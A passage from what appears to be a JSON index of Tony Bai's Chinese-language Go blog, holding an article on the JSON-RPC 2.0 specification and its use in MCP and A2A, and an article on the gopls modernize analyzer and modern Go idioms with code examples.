Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/04/17/standardize-the-hash-function/","summary":"\u003cp\u003e自定义Hash终迎标准化？Go提案maphash.Hasher接口设计解读 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"自定义Hash终迎标准化？Go提案maphash.Hasher接口设计解读"},{"content":"AI新宠？解读MCP、A2A为何偏爱JSON-RPC 2.0 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nAI新宠？解读MCP、A2A为何偏爱JSON-RPC 2.0 四月 16, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/16/ai-protocol-prefer-jsonrpc\n大家好，我是Tony Bai。\n在AI技术飞速演进的今天，底层通信协议的选择对系统效率和互操作性至关重要。细心的开发者可能已经发现，新兴的AI协议如模型上下文协议（MCP）和Agent2Agent（A2A）协议，都不约而同地将目光投向了**JSON-RPC 2.0。这并非巧合，而是一个深思熟虑的技术选型。在这篇文章中，我将和大家一起看看JSON-RPC 2.0的起源、核心规范以及历史应用**，并解读这个10多年前定义的“老协议”为何能在AI时代能再次获得青睐。\nJSON-RPC 2.0：起源与核心规范 JSON-RPC协议的诞生，源于对早期RPC协议（如XML-RPC、SOAP）复杂性的反思，旨在提供一种更轻量、更简洁的远程过程调用机制。其2.0版本规范（基于2009年草案，正式发布于2010年左右）更是将这一理念发扬光大。其核心设计哲学正如规范开篇所言：“It is designed to be simple!”\n很多开发者日常都是用过JSON-RPC 2.0，但可能没有对其规范做过深入的了解，借此篇文章机会，让我们依据其官方规范，深入了解其关键特性。。\n1.1 核心原则 我们先来看一下JSON-RPC协议设计的几个核心原则。\nStateless (无状态): 每次请求都是独立的，服务器不保存客户端状态。 Light-weight (轻量级): 协议开销小，消息体紧凑。 JSON Data Format (JSON数据格式): 使用广泛流行、易于解析和人类可读的JSON(RFC 4627) 作为数据交换格式。 Transport Agnostic (传输无关): 协议本身不限定网络传输方式，可在HTTP、WebSocket、TCP、甚至进程内等多种环境使用。 接下来，我们再来看一下工作原理。JSON-RPC 2.0是一个相对简单的协议，其规范也就几页，因此其工作原理也非常好理解。\n1.2 工作原理 JSON-RPC 的工作原理是向实现此协议的服务器发送请求。在这种情况下，客户端通常是打算调用远程系统的单个方法的软件。多个输入参数可以作为数组或对象传递给远程方法，而方法本身也可以返回多个输出数据（这取决于实现的版本。）\n下面是对协议中的一些核心对象的解读。\n1.2.1 Request Object (请求对象) Request Object是发起RPC调用的核心，由客户端发送请求到服务端。我们结合一个示例来理解请求对象的各个字段的含义：\n--\u0026gt; {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;subtract\u0026#34;, \u0026#34;params\u0026#34;: {\u0026#34;minuend\u0026#34;: 42, \u0026#34;subtrahend\u0026#34;: 23}, \u0026#34;id\u0026#34;: 4} \u0026lt;-- {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;result\u0026#34;: 19, \u0026#34;id\u0026#34;: 4} jsonrpc: 必须是”2.0″，这是区分版本的关键标识。 method: 是一个字符串类型的必选字段，表示要调用的方法名。以rpc.开头的为保留方法。 params: 是一个可选参数，它是一个结构化值Array或Object，包含调用方法所需的参数。 JSON-RPC支持两种传递params的方式，一种是By-name(按名称)，即params是一个对象，其成员名与服务器期望参数名匹配，比如上面示例中params使用的就是一个by-name的参数传递方式。另外一种是By-position (按位置)，即params是一个数组，值按服务器期望顺序排列。比如上面示例中params等价为下面按位置传递方式的params：\n{\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;subtract\u0026#34;, \u0026#34;params\u0026#34;: [42, 23], \u0026#34;id\u0026#34;: 1} id: 是一个字符串或数字类型的值，用于关联请求和响应。比如上面示例中，请求的id=4，其对应的响应(Response)的id也应该为4才能匹配成功。 1.2.2 Response Object (响应对象) 上面的示例中的第二行其实是一个Repsonse Object，即服务器针对有效请求（非通知类）的回复：\n\u0026lt;-- {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;result\u0026#34;: 19, \u0026#34;id\u0026#34;: 4} jsonrpc: 必须是”2.0″，这是区分版本的关键标识。 result: 包含方法调用的成功结果。如果rpc调用失败，那么响应中不有result字段，可以说与下面的error是二取一的。 error: 包含一个Error Object。如果rpc调用没有错误发生，响应体中不应该存在error字段。 id: 与对应请求对象中的id一致。如果检测请求id出错(比如解析出错或非法请求)，则应为Null，比如下面这个示例： 下面是返回错误码的示例：\n--\u0026gt; {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: 1, \u0026#34;params\u0026#34;: \u0026#34;bar\u0026#34;} // method值不是字符串，不是一个合法的请求对象 \u0026lt;-- {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;error\u0026#34;: {\u0026#34;code\u0026#34;: -32600, \u0026#34;message\u0026#34;: \u0026#34;Invalid Request\u0026#34;}, \u0026#34;id\u0026#34;: null} 再强调一下：result 和 error 成员互斥，必须存在其一。\n1.2.3 Error Object (错误对象) 错误对象用于描述发生的错误，对象有三个字段：\ncode: 错误码，类型为整数，指示错误类型。-32768到-32000 为预定义错误码范围。下面是一些典型错误code：\n-32700: Parse error -32600: Invalid Request -32601: Method not found -32602: Invalid params -32603: Internal error -32000 to -32099: Server error message: 错误信息，字符串类型，用于简短描述错误。\ndata: 可选，代表原始值或结构化值，包含额外错误信息。\n下面是一个错误对象示例：\n--\u0026gt; {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;foobar\u0026#34;, \u0026#34;id\u0026#34;: \u0026#34;1\u0026#34;} \u0026lt;-- {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;error\u0026#34;: {\u0026#34;code\u0026#34;: -32601, \u0026#34;message\u0026#34;: \u0026#34;Method not found\u0026#34;}, \u0026#34;id\u0026#34;: \u0026#34;1\u0026#34;} 1.2.4 Notification通知 Notification通知一种特殊的Request，它没有id成员。表示客户端不关心响应，服务器也不用回复，适用于无需确认的操作。比如下面这个示例：\n--\u0026gt; {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;update\u0026#34;, \u0026#34;params\u0026#34;: [1,2,3,4,5]} 也就是说当一个合法的Request中没有id，则可以认为是Notification通知。\n1.2.5 Batch批量调用 Batch批量调用是指客户端可能发送一个包含多个Request对象的数组，以实现批量处理。服务器应该返回一个包含对应Response对象的数组（通知除外）。请求处理和响应返回可以是无序的，客户端通过id匹配。下面是一个批量调用的示例：\n--\u0026gt; [ {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;sum\u0026#34;, \u0026#34;params\u0026#34;: [1,2,4], \u0026#34;id\u0026#34;: \u0026#34;1\u0026#34;}, {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;notify_hello\u0026#34;, \u0026#34;params\u0026#34;: [7]}, {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;subtract\u0026#34;, \u0026#34;params\u0026#34;: [42,23], \u0026#34;id\u0026#34;: \u0026#34;2\u0026#34;}, {\u0026#34;foo\u0026#34;: \u0026#34;boo\u0026#34;}, {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;foo.get\u0026#34;, \u0026#34;params\u0026#34;: {\u0026#34;name\u0026#34;: \u0026#34;myself\u0026#34;}, \u0026#34;id\u0026#34;: \u0026#34;5\u0026#34;}, {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;get_data\u0026#34;, \u0026#34;id\u0026#34;: \u0026#34;9\u0026#34;} ] \u0026lt;-- [ {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;result\u0026#34;: 7, \u0026#34;id\u0026#34;: \u0026#34;1\u0026#34;}, {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;result\u0026#34;: 19, \u0026#34;id\u0026#34;: \u0026#34;2\u0026#34;}, {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;error\u0026#34;: {\u0026#34;code\u0026#34;: -32600, \u0026#34;message\u0026#34;: \u0026#34;Invalid Request\u0026#34;}, \u0026#34;id\u0026#34;: null}, {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;error\u0026#34;: {\u0026#34;code\u0026#34;: -32601, \u0026#34;message\u0026#34;: \u0026#34;Method not found\u0026#34;}, \u0026#34;id\u0026#34;: \u0026#34;5\u0026#34;}, {\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;result\u0026#34;: [\u0026#34;hello\u0026#34;, 5], \u0026#34;id\u0026#34;: \u0026#34;9\u0026#34;} ] JSON-RPC的“前世今生”：应用场景 自诞生以来，JSON-RPC凭借其简洁、轻量、易于实现和跨语言的特性，在多个领域得到了广泛应用，满足了开发者对“高效”通信的需求：\nWeb APIs: 作为RESTful API的一种替代或补充，尤其是在需要明确“过程调用”语义的场景。 微服务架构: 服务间的内部通信，特别是在追求低延迟、简单交互的场景下，比HTTP REST更轻量。 消息队列(Message Queues): 作为消息体格式，在基于消息队列的异步任务处理系统中定义任务和传递结果。 桌面应用与Web端交互: 例如，本地应用通过WebSocket与网页前端进行双向通信。 物联网(IoT): 资源受限设备间的通信，其轻量特性非常适合。 区块链节点通信: 一些区块链项目使用JSON-RPC作为节点间或客户端与节点间交互的标准接口。 这些应用场景充分证明了JSON-RPC作为一种基础通信协议的普适性和生命力。\n为何AI时代再次垂青？MCP/A2A 的选择逻辑 MCP和A2A是AI领域新兴的协议，旨在为日益复杂的AI系统（如多模型协作、Agent智能体交互）提供标准化的通信框架，解决互操作性问题。 那么，JSON-RPC 2.0究竟凭借哪些优势，在众多协议中脱颖而出，被MCP、A2A等选中呢？下面我们就来看看JSON-RPC的优势。\n极致简洁，降低开发与理解成本 JSON-RPC 2.0 使用人类可读的 JSON 格式。其规范非常简单，定义清晰，无论是开发者学习、实现客户端/服务端，还是调试网络通信，成本都相对较低。这在需要快速迭代和广泛协作的AI领域尤为重要。\n跨语言跨平台，适应AI生态多样性 AI的开发涉及Python、Java、Go、Rust等多种语言和框架。JSON-RPC的简洁性和文本基础使其极易在不同语言和平台间实现互操作，为构建异构AI系统提供了基础通信能力，某种程度上提供了通信层面的“一站式解决方案”的可能性。\n传输协议无关，提供高度灵活性 JSON-RPC 2.0本身不绑定具体的网络传输协议。它可以承载于HTTP(S)、WebSocket、TCP、消息队列等多种传输层之上。这种灵活性使得它可以适应不同的部署环境和通信需求，无论是需要低延迟长连接的Agent交互，还是简单的模型服务调用。\n成熟稳定，生态工具丰富 作为一个存在已久的协议，JSON-RPC 2.0拥有大量成熟的库和工具支持，覆盖了几乎所有主流编程语言。这意味着开发者可以快速集成，将更多精力投入到核心的AI逻辑开发上，而不是在基础通信协议上“重复造轮子”，符合用户“要更高效”的心理。比如：golang.org/x/exp/jsonrpc2就是Go team维护的一个高质量JSON-RPC 2.0的实现。\n清晰的请求-响应模式，契合常见AI服务调用 JSON-RPC明确的请求（方法名、参数）和响应（结果、错误）结构，非常适合表示AI服务中的函数调用、查询等交互模式，使得接口定义和理解更加直观，有助于提升开发和沟通效率。\n易于扩展 JSON-RPC协议本身简洁，但params和data字段提供了足够的扩展空间来承载复杂的AI特定数据结构。\n以上JSON-RPC协议的核心特点与AI时代需求的高度契合。\n小结：大道至简，务实之选 综上所述，JSON-RPC 2.0并非昙花一现的“新宠”，而是凭借其诞生之初的简洁设计、久经考验的稳定性、广泛的跨平台能力以及与当前AI通信需求的天然契合，在AI时代焕发了新的生机。MCP、A2A等协议选择它，正是看中了其作为通信基石的扎实、高效和务实。\n对于JSON-RPC在AI领域的应用，以及未来可能出现的更优协议，你有何看法？欢迎在评论区分享你的真知灼见！\n关注我，持续获取有深度的AI与技术解析。\nGopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Gopher的AI原生应用开发第一课”、“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/04/16/ai-protocol-prefer-jsonrpc/","summary":"\u003cp\u003eAI新宠？解读MCP、A2A为何偏爱JSON-RPC 2.0 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"RPC 2.0"},{"content":"\n本文永久链接 – https://tonybai.com/2025/04/15/embrace-modern-go-style-with-gopls-modernize\n大家好，我是Tony Bai。\n最近在思考Go语言的发展时，不禁让我想起了当年学习C++的经历。Bjarne Stroustrup在《C++程序设计语言（特别版）》中就专门强调了“现代 C++”（Modern C++）的编程风格，鼓励使用模板、STL等新特性来编写更优雅、更高效的C++代码。\n那么，我们热爱的Go语言，随着版本的不断迭代，是否也逐渐形成了一种“现代Go”（Modern Go）的风格呢？答案是肯定的。Go团队不仅在语言层面引入新特性（如泛型、range over int），也在标准库中添加了更强大、更便捷的包（如slices、maps）。\n更棒的是，Go官方工具链gopls（Go Language Server Protocol的实现）中，就内置了一个名为modernize的分析器（Analyzer），专门用于帮助我们识别代码中可以用现代Go风格替代的“旧习”，并给出建议。\n今天，我们就来深入了解一下gopls/modernize这个利器，看看它如何帮助我们的Go代码焕然一新，并学习一下它所倡导的11个“现代Go”风格语法要素具体包含哪些内容。\ngopls/modernize分析器以及现代Go风格简介 gopls/modernize是golang.org/x/tools/gopls/internal/analysis/modernize 包提供的一个分析器。它的核心目标就是扫描你的Go代码，找出那些可以通过使用Go 1.18及之后版本引入的新特性或标准库函数来简化的代码片段。\nmodernize工具目前可以识别并建议修改多种“旧”代码模式。让我们逐一看看这些建议，并附上代码示例：\n(注：以下示例中的版本号指明了该现代写法是何时被推荐或可用的)\n1). 使用min/max内建函数 (Go 1.21+)\n旧风格： 使用 if/else 进行条件赋值来找最大/最小值。 func findMax(a, b int) int { var maxVal int if a \u0026gt; b { maxVal = a } else { maxVal = b } return maxVal } 现代风格： 直接调用 max 内建函数。 import \u0026#34;cmp\u0026#34; // Go 1.21 implicitly uses built-ins, Go 1.22+ might suggest cmp.Or for clarity if needed func findMaxModern(a, b int) int { // Go 1.21 onwards have built-in min/max return max(a, b) // Note: for floats or custom types, use cmp.Compare from \u0026#34;cmp\u0026#34; package } 理由： 更简洁，意图更明确。 2). 使用slices.Sort (Go 1.21+)\n旧风格： 使用 sort.Slice 配合自定义比较函数对 slice 排序。 import \u0026#34;sort\u0026#34; func sortInts(s []int) { sort.Slice(s, func(i, j int) bool { return s[i] \u0026lt; s[j] // Common case for ascending order }) } 现代风格： 使用 slices.Sort 或 slices.SortFunc / slices.SortStableFunc。 import \u0026#34;slices\u0026#34; func sortIntsModern(s []int) { slices.Sort(s) // For basic ordered types } // For custom comparison logic: // func sortStructsModern(items []MyStruct) { // slices.SortFunc(items, func(a, b MyStruct) int { // return cmp.Compare(a.Field, b.Field) // Using cmp.Compare (Go 1.21+) // }) // } 理由： slices包提供了更丰富、类型更安全的排序功能，且通常性能更好。 3). 使用 any 替代 interface{} (Go 1.18+)\n旧风格： 使用 interface{} 表示任意类型。 func processAnything(v interface{}) { // ... process v ... } 现代风格： 使用 any 类型别名。 func processAnythingModern(v any) { // ... process v ... } 理由： any 是 interface{} 的官方别名，更简洁，更能体现其“任意类型”的语义。 4). 使用 slices.Clone 或 slices.Concat (Go 1.21+)\n旧风格： 使用 append([]T(nil), s…) 来克隆 slice。 func cloneSlice(s []byte) []byte { return append([]byte(nil), s...) } 现代风格： 使用 slices.Clone。 import \u0026#34;slices\u0026#34; func cloneSliceModern(s []byte) []byte { return slices.Clone(s) } 理由： slices.Clone 意图更明确，由标准库实现可能更优化。slices.Concat 则用于拼接多个 slice。 5). 使用 maps 包函数 (Go 1.21+)\n旧风格： 手动写循环来拷贝或操作 map。 func copyMap(src map[string]int) map[string]int { dst := make(map[string]int, len(src)) for k, v := range src { dst[k] = v } return dst } 现代风格： 使用 maps.Clone 或 maps.Copy。 import \u0026#34;maps\u0026#34; func copyMapModern(src map[string]int) map[string]int { return maps.Clone(src) // Clone creates a new map } func copyMapToExisting(dst, src map[string]int) { maps.Copy(dst, src) // Copy copies key-values, potentially overwriting } 理由： maps 包提供了标准化的 map 操作，代码更简洁，不易出错。还有 maps.DeleteFunc, maps.Equal 等实用函数。 6). 使用 fmt.Appendf (Go 1.19+)\n旧风格： 使用 []byte(fmt.Sprintf(…)) 来获取格式化后的字节 slice。 import \u0026#34;fmt\u0026#34; func formatToBytes(id int, name string) []byte { s := fmt.Sprintf(\u0026#34;ID=%d, Name=%s\u0026#34;, id, name) return []byte(s) } 现代风格： 使用 fmt.Appendf，通常配合 nil 作为初始 slice。 import \u0026#34;fmt\u0026#34; func formatToBytesModern(id int, name string) []byte { // Appends formatted string directly to a byte slice return fmt.Appendf(nil, \u0026#34;ID=%d, Name=%s\u0026#34;, id, name) } 理由： fmt.Appendf 更高效，它避免了先生成 string 再转换成 []byte 的中间步骤和内存分配。 7). 在测试中使用 t.Context (Go 1.24+)\n旧风格： 在测试函数中需要 cancellable context 时，使用 context.WithCancel。 import ( \u0026#34;context\u0026#34; \u0026#34;testing\u0026#34; \u0026#34;time\u0026#34; ) func TestSomethingWithContext(t *testing.T) { ctx, cancel := context.WithCancel(context.Background()) defer cancel() // Use ctx in goroutines or functions that need cancellation go func(ctx context.Context) { select { case \u0026lt;-time.After(1 * time.Second): t.Log(\u0026#34;Worker finished\u0026#34;) case \u0026lt;-ctx.Done(): t.Log(\u0026#34;Worker cancelled\u0026#34;) } }(ctx) // Simulate test work time.Sleep(100 * time.Millisecond) // Maybe cancel based on some condition, or rely on defer cancel() at end } 现代风格： 直接使用 testing.T 提供的 Context() 方法。 import ( \u0026#34;context\u0026#34; \u0026#34;testing\u0026#34; \u0026#34;time\u0026#34; ) func TestSomethingWithContextModern(t *testing.T) { // t.Context() is automatically cancelled when the test (or subtest) finishes. // It may also be cancelled sooner if the test times out (e.g., using t.Deadline()). ctx := t.Context() go func(ctx context.Context) { select { case \u0026lt;-time.After(1 * time.Second): t.Log(\u0026#34;Worker finished\u0026#34;) case \u0026lt;-ctx.Done(): t.Logf(\u0026#34;Worker cancelled: %v\u0026#34;, ctx.Err()) // Good practice to log the error } }(ctx) time.Sleep(100 * time.Millisecond) } 理由： t.Context() 更方便，自动管理 context 的生命周期与测试的生命周期绑定，减少了样板代码，并能正确处理测试超时。 8). 使用 omitzero 代替 omitempty (Go 1.24+)\n旧风格： 在 json 或类似 tag 中使用 omitempty，它会在字段值为其类型的零值（如 0, “”, nil, 空 slice/map）时省略该字段。但对于空结构体字段则表现不如预期： type ConfigOld struct { EmptyStruct struct{} `json:\u0026#34;,omitempty\u0026#34;` } // JSON 输出为 {\u0026#34;EmptyStruct\u0026#34;:{}} 现代风格： 如果意图是“当字段值为零值时省略”，则使用 omitzero。 type ConfigModern struct { EmptyStruct struct{} `json:\u0026#34;,omitzero\u0026#34;` } // JSON 输出为 {} 理由： omitzero 的语义更精确地描述了“省略零值”的行为。更多内容，可以参考我的“JSON包新提案：用“omitzero”解决编码中的空值困局”一文。 9). 使用 slices.Delete (Go 1.21+)\n旧风格： 使用 append(s[:i], s[i+1]…) 来删除 slice 中的单个元素。 func deleteElement(s []int, i int) []int { if i \u0026lt; 0 || i \u0026gt;= len(s) { return s // Index out of bounds } return append(s[:i], s[i+1:]...) } 现代风格： 使用 slices.Delete 删除一个或一段元素。 import \u0026#34;slices\u0026#34; func deleteElementModern(s []int, i int) []int { if i \u0026lt; 0 || i \u0026gt;= len(s) { return s } // Delete element at index i return slices.Delete(s, i, i+1) } func deleteElementsModern(s []int, start, end int) []int { // Delete elements from index start (inclusive) to end (exclusive) return slices.Delete(s, start, end) } 理由： slices.Delete 意图更明确，更通用（可以删除区间），由标准库实现可能更健壮（处理边界情况）。 10). 使用for range n (Go 1.22+)\n旧风格： 使用经典的三段式 for 循环遍历 0 到 n-1。 func iterateN(n int) { for i := 0; i \u0026lt; n; i++ { // Use i _ = i } } 现代风格： 使用 for range 遍历整数。 func iterateNModern(n int) { for i := range n { // Requires Go 1.22+ // Use i _ = i } } 理由： 语法更简洁。在某些情况下（虽然不常见），如果循环体没有使用 i，for range n 可能比 for i:=0; i\u0026lt;n; i++ 有微弱的性能优势（避免迭代变量的开销）。 11). 使用 strings.SplitSeq (Go 1.24+)\n旧风格： 在循环中迭代 strings.Split 的结果。 import \u0026#34;strings\u0026#34; func processSplits(s, sep string) { parts := strings.Split(s, sep) for _, part := range parts { // Process part _ = part } } 现代风格： 如果只是为了迭代，推荐使用 strings.SplitSeq（如果 Go 版本支持）。 import \u0026#34;strings\u0026#34; func processSplitsModern(s, sep string) { // SplitSeq returns an iterator, potentially more efficient // as it doesn\u0026#39;t necessarily allocate the slice for all parts at once. for part := range strings.SplitSeq(s, sep) { // Requires Go 1.24+ // Process part _ = part } } 理由： strings.SplitSeq 返回一个迭代器 (iter.Seq[string])，它在迭代时才切分字符串，避免了一次性分配存储所有子串的 slice 的开销，对于大字符串和/或大量子串的情况，内存效率更高。 为什么要拥抱“现代Go”风格？ 通过前面modernize工具支持的现代风格的示例，我们大致可以得到三点采用现代Go风格的好处：\n代码更简洁、可读性更高： 新的语言特性或标准库函数往往能用更少的代码、更清晰地表达意图。 利用标准库优化： slices、maps等新包通常经过精心设计和优化，性能和健壮性可能优于手写的等效逻辑。 与时俱进，降低维护成本： 使用社区和官方推荐的新方式，有助于保持代码库的技术先进性，也便于团队成员（尤其是新人）理解和维护。 认识到拥抱“现代 Go”风格的诸多好处，自然会问：如何使用modern工具才能帮助我们识别并实践这些风格呢？接下来我们就来看看modernize工具的用法。\n如何在你的项目中使用 modernize modernize工具本身是一个命令行程序。你可以通过以下方式在你的项目根目录下运行它：\n$go run golang.org/x/tools/gopls/internal/analysis/modernize/cmd/modernize@latest [flags] [package pattern] [package pattern]：指定要扫描的包，通常我们会使用 ./… 来扫描当前目录及其所有子目录下的包。 [flags]：一些常用的标志： -test (boolean, default true)：是否分析测试文件 (_test.go)。默认是分析的。 -fix (boolean, default false)：自动应用所有建议的修复。请谨慎使用，建议先人工检查或在版本控制下使用。 -diff (boolean, default false)：如果同时使用了 -fix，此标志会让工具不直接修改文件，而是打印出 unified diff 格式的变更内容，方便预览。 执行示例：\n正如我在我的两个开源项目go-cache-prog和local-gitingest中尝试的那样：\n➜ /Users/tonybai/go/src/github.com/bigwhite/go-cache-prog git:(main) $ go run golang.org/x/tools/gopls/internal/analysis/modernize/cmd/modernize@latest -test ./... /Users/tonybai/go/src/github.com/bigwhite/go-cache-prog/cmd/go-cache-prog/main.go:19:2: Loop can be simplified using slices.Contains exit status 3 ➜ /Users/tonybai/go/src/github.com/bigwhite/local-gitingest git:(main) ✗ $ go run golang.org/x/tools/gopls/internal/analysis/modernize/cmd/modernize@latest -test ./... /Users/tonybai/go/src/github.com/bigwhite/local-gitingest/main_test.go:191:5: Loop can be simplified using slices.Contains exit status 3 我们看到modernize的输出格式为：\n文件路径:行号:列号: 建议信息。 这里的 exit status 3 通常表示 Linter 发现了问题。它提示我在这两个项目的指定位置，存在一个循环可以用 slices.Contains 来简化（这也是 modernize 支持的一个检查，虽然未在上述重点说明的现代风格列表中，但也属于简化代码的范畴）。\n注意： 工具的文档提到，如果修复之间存在冲突（比如一个修复改变了代码结构，使得另一个修复不再适用或需要调整），你可能需要运行 -fix 多次，直到没有新的修复被应用。\nIDE 集成：\n好消息是，如果你在使用 VS Code、GoLand 等配置了 gopls 的现代 Go IDE，很多 modernize 提出的建议通常会直接以代码高亮或建议（Quick Fix / Intention Action）的形式出现在你的编辑器中，让你可以在编码时就实时地进行现代化改造。\n掌握了如何在项目中使用 modernize 工具后，让我们回到最初的话题，对这个工具及其倡导的“现代 Go”风格做一些思考和总结。\n小结 gopls/modernize不仅仅是一个代码检查工具，它更像是Go语言演进过程中的一个向导，温和地提醒我们：“嘿，这里有更现代、可能更好的写法了！”\n拥抱“现代 Go”风格，利用好 modernize 这样的工具，不仅能让我们的代码库保持活力，也能促使我们不断学习和掌握 Go 的新知识。这与当年拥抱“现代 C++”的精神是一脉相承的。\n建议大家不妨在自己的项目上运行一下 modernize 工具，看看它能给你带来哪些惊喜和改进建议。也欢迎在评论区分享你使用 modernize 的经验或对“现代 Go”风格的看法！觉得这篇文章有用？点个‘在看’，分享给更多Gopher吧！\n免责声明: modernize 工具及其命令行接口 golang.org/x/tools/gopls/internal/analysis/modernize/cmd/modernize 目前并非官方稳定支持的接口，未来可能会有变动。使用 -fix 功能前请务必备份或确保代码已提交到版本控制系统。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/04/15/embrace-modern-go-style-with-gopls-modernize/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/embrace-modern-go-style-with-gopls-modernize-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/04/15/embrace-modern-go-style-with-gopls-modernize\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/04/15/embrace-modern-go-style-with-gopls-modernize\"\u003ehttps://tonybai.com/2025/04/15/embrace-modern-go-style-with-gopls-modernize\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony 